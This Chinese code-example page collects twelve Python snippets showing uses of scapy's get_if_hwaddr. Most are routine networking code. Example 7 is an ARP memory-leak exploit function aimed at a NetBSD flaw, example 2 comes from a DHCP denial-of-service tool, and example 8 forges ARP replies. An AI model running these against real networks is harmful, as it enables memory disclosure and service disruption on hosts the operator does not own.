• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    迪恩网络公众号

Python arch.get_if_hwaddr函数代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了Python中scapy.arch.get_if_hwaddr函数的典型用法代码示例。如果您正苦于以下问题:Python get_if_hwaddr函数的具体用法?Python get_if_hwaddr怎么用?Python get_if_hwaddr使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。



在下文中一共展示了get_if_hwaddr函数的12个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的Python代码示例。

示例1: send_pkt

 def send_pkt(self, intf='', count=1):
     self.print_summary()
     if intf != '':
         # fix fortville can't receive packets with 00:00:00:00:00:00
         if self.pkt.getlayer(0).src == "00:00:00:00:00:00":
             self.pkt.getlayer(0).src = get_if_hwaddr(intf)
         sendp(self.pkt, iface=intf, count=count)
开发者ID:ScottDaniels,项目名称:vfd,代码行数:7,代码来源:packet.py


示例2: __init__

 def __init__(self, iface, flood):
     if os.getuid() == 0:
         self.__iface = iface
         self.__flood = flood
         self.__iface_addr = get_if_hwaddr(iface)
         self.__dict = {}
         self.__dos = False
     else:
         print "Must be superuser to do this."
         sys.exit(-1)
开发者ID:ilteoood,项目名称:dhcp_dos,代码行数:10,代码来源:dhcp_dos.py


示例3: i2h

 def i2h(self, pkt, x):
     if x is None:
         iff,a,gw = pkt.payload.route()
         if iff:
             try:
                 x = get_if_hwaddr(iff)
             except:
                 pass
         if x is None:
             x = "00:00:00:00:00:00"
     return MACField.i2h(self, pkt, x)
开发者ID:0x0mar,项目名称:zarp,代码行数:11,代码来源:l2.py


示例4: i2h

 def i2h(self, pkt, x):
     if x is None:
         iff,a,gw = pkt.route()
         if iff:
             try:
                 x = get_if_hwaddr(iff)
             except:
                 pass
         if x is None:
             x = conf.default_src_mac
     return MACField.i2h(self, pkt, x)
开发者ID:AntBean,项目名称:scapy-com8aa1453d8d24,代码行数:11,代码来源:l2.py


示例5: i2h

 def i2h(self, pkt, x):
     if x is None:
         iff = self.getif(pkt)
         if iff is None:
             iff = conf.iface
         if iff:
             try:
                 x = get_if_hwaddr(iff)
             except:
                 pass
         if x is None:
             x = "00:00:00:00:00:00"
     return MACField.i2h(self, pkt, x)
开发者ID:plorinquer,项目名称:scapy,代码行数:13,代码来源:l2.py


示例6: i2h

 def i2h(self, pkt, x):
     if x is None:
         iff = self.getif(pkt)
         if iff is None:
             iff = conf.iface
         if iff:
             try:
                 x = get_if_hwaddr(iff)
             except Exception as e:
                 warning("Could not get the source MAC: %s" % e)
         if x is None:
             x = "00:00:00:00:00:00"
     return MACField.i2h(self, pkt, x)
开发者ID:commial,项目名称:scapy,代码行数:13,代码来源:l2.py


示例7: arpleak

def arpleak(target, plen=255, hwlen=255, **kargs):
    """Exploit ARP leak flaws, like NetBSD-SA2017-002.

https://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2017-002.txt.asc

    """
    # We want explicit packets
    pkts_iface = {}
    for pkt in ARP(pdst=target):
        # We have to do some of Scapy's work since we mess with
        # important values
        iface = conf.route.route(pkt.pdst)[0]
        psrc = get_if_addr(iface)
        hwsrc = get_if_hwaddr(iface)
        pkt.plen = plen
        pkt.hwlen = hwlen
        if plen == 4:
            pkt.psrc = psrc
        else:
            pkt.psrc = inet_aton(psrc)[:plen]
            pkt.pdst = inet_aton(pkt.pdst)[:plen]
        if hwlen == 6:
            pkt.hwsrc = hwsrc
        else:
            pkt.hwsrc = mac2str(hwsrc)[:hwlen]
        pkts_iface.setdefault(iface, []).append(
            Ether(src=hwsrc, dst=ETHER_BROADCAST) / pkt
        )
    ans, unans = SndRcvList(), PacketList(name="Unanswered")
    for iface, pkts in viewitems(pkts_iface):
        ans_new, unans_new = srp(pkts, iface=iface, filter="arp", **kargs)
        ans += ans_new
        unans += unans_new
        ans.listname = "Results"
        unans.listname = "Unanswered"
    for _, rcv in ans:
        if ARP not in rcv:
            continue
        rcv = rcv[ARP]
        psrc = rcv.get_field('psrc').i2m(rcv, rcv.psrc)
        if plen > 4 and len(psrc) > 4:
            print("psrc")
            hexdump(psrc[4:])
            print()
        hwsrc = rcv.get_field('hwsrc').i2m(rcv, rcv.hwsrc)
        if hwlen > 6 and len(hwsrc) > 6:
            print("hwsrc")
            hexdump(hwsrc[6:])
            print()
    return ans, unans
开发者ID:plorinquer,项目名称:scapy,代码行数:50,代码来源:l2.py


示例8: make_reply

    def make_reply(self, req):
        ether = req.getlayer(Ether)
        arp = req.getlayer(ARP)

        if self.optsend.has_key("iface"):
            iff = self.optsend.get("iface")
        else:
            iff, a, gw = conf.route.route(arp.psrc)
        self.iff = iff
        if self.ARP_addr is None:
            try:
                ARP_addr = get_if_hwaddr(iff)
            except:
                ARP_addr = "00:00:00:00:00:00"
                pass
        else:
            ARP_addr = self.ARP_addr
        resp = Ether(dst=ether.src, src=ARP_addr) / ARP(
            op="is-at", hwsrc=ARP_addr, psrc=arp.pdst, hwdst=arp.hwsrc, pdst=arp.psrc
        )
        return resp
开发者ID:kinap,项目名称:scapy,代码行数:21,代码来源:l2.py


示例9: parse_config

def parse_config(filepath):
    
    mac_base_int = int(get_if_hwaddr(linux.get_if_list()[0]).replace(":", ""), 16)
#     mac_base_int = [int(sec, 16) for sec in get_if_hwaddr().split(":")]
    attrs_valid = set(["vni", "subnet", "gw_ip", "vteps"])
#     attrs_valid = set(["vlan", "vni", "subnet", "gw_ip"])
    
    try:
        with open(filepath) as f:
            maps = json.load(f)
            for m in maps:
                assert set(m.keys() ) == attrs_valid, "Invalid json key/value was discovered."

                m["subnet"] = IPNetwork(m["subnet"])
                m["gw_ip"] = IPAddress(m["gw_ip"])
                is_inc = smallest_matching_cidr(m["gw_ip"], m["subnet"])
                assert is_inc is not None, "The subnet and gw_ip mismatch."
                
                assert all( [is_valid_ipv4(vtep[0]) for vtep in m["vteps"].items() ] ), \
                    "There are some invalid representations of IPv4 address."
                
                assert is_valid_vni(m["vni"]), "Out of the valid VNI range. (0 < VNI < 2 ** 24)"
                mac_int = (mac_base_int + m["vni"]) % MAC_MODULER
                mac_hex = "{0:012x}".format(mac_int)
                m["hwaddr"] = ":".join( [mac_hex[idx:idx+2] for idx in xrange(len(mac_hex) ) if idx % 2 == 0] )
#                 mac_int[-1] = (mac_int[-1] + m["vni"]) % 256
#                 m["hwaddr"] = ":".join( ["%02x" % sec for sec in mac_int] )
                
        maps = { m["vni"] : m for m in maps}
        return maps

    except AssertionError as excpt:
        print excpt
        print("Program exits.")
        sys.exit(1)
        
    except Exception as excpt:
        print excpt
        sys.exit(1)
开发者ID:YohKmb,项目名称:rtrvxln,代码行数:39,代码来源:rtr_main.py


示例10: process_request

    def process_request(self, arp):
        assert isinstance(arp, ARP)
        assert arp.op == _ARP_REQUEST

        if arp.hwsrc == get_if_hwaddr(scapy_conf.iface):
            self._pending_request.add(arp.pdst)
开发者ID:rsrdesarrollo,项目名称:scapy-tools,代码行数:6,代码来源:arp_smart_table.py


示例11: get_iface_mac

	def get_iface_mac(name):
		return get_if_hwaddr(name)
开发者ID:NeoXiD,项目名称:DHCprefix6,代码行数:2,代码来源:dhcp.py


示例12: get_if_hwaddr

@brief      

@copyright  Copyright 2015, OpenMote Technologies, S.L.
            This file is licensed under the GNU General Public License v2.
'''

import serial
import struct
import os
import time
from scapy.all import Ether,IP,UDP,Raw
from scapy.all import sendp, sniff
from scapy.arch import get_if_hwaddr

eth_iface = "eth0"
eth_addr  = get_if_hwaddr(eth_iface)
eth_delay = 0.5

sniff_addr = "ff:ff:ff:ff:ff:ff"
payload  = "0123456789ABCDEF123456789ABCDEF"

def program():
    global sniff_addr
    
    print("Testing from " + eth_iface + " (" + eth_addr + ")...")

    ser = serial.Serial(port     = '/dev/ttyUSB0',
                        baudrate = 115200,
                        parity   = serial.PARITY_ODD,
                        stopbits = serial.STOPBITS_TWO,
                        bytesize = serial.SEVENBITS,
开发者ID:JKLLBF,项目名称:firmware,代码行数:31,代码来源:test-ethernet.py



注:本文中的scapy.arch.get_if_hwaddr函数示例由纯净天空整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
Python compat.chb函数代码示例发布时间:2022-05-27
下一篇:
Python all.srp函数代码示例发布时间:2022-05-27
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap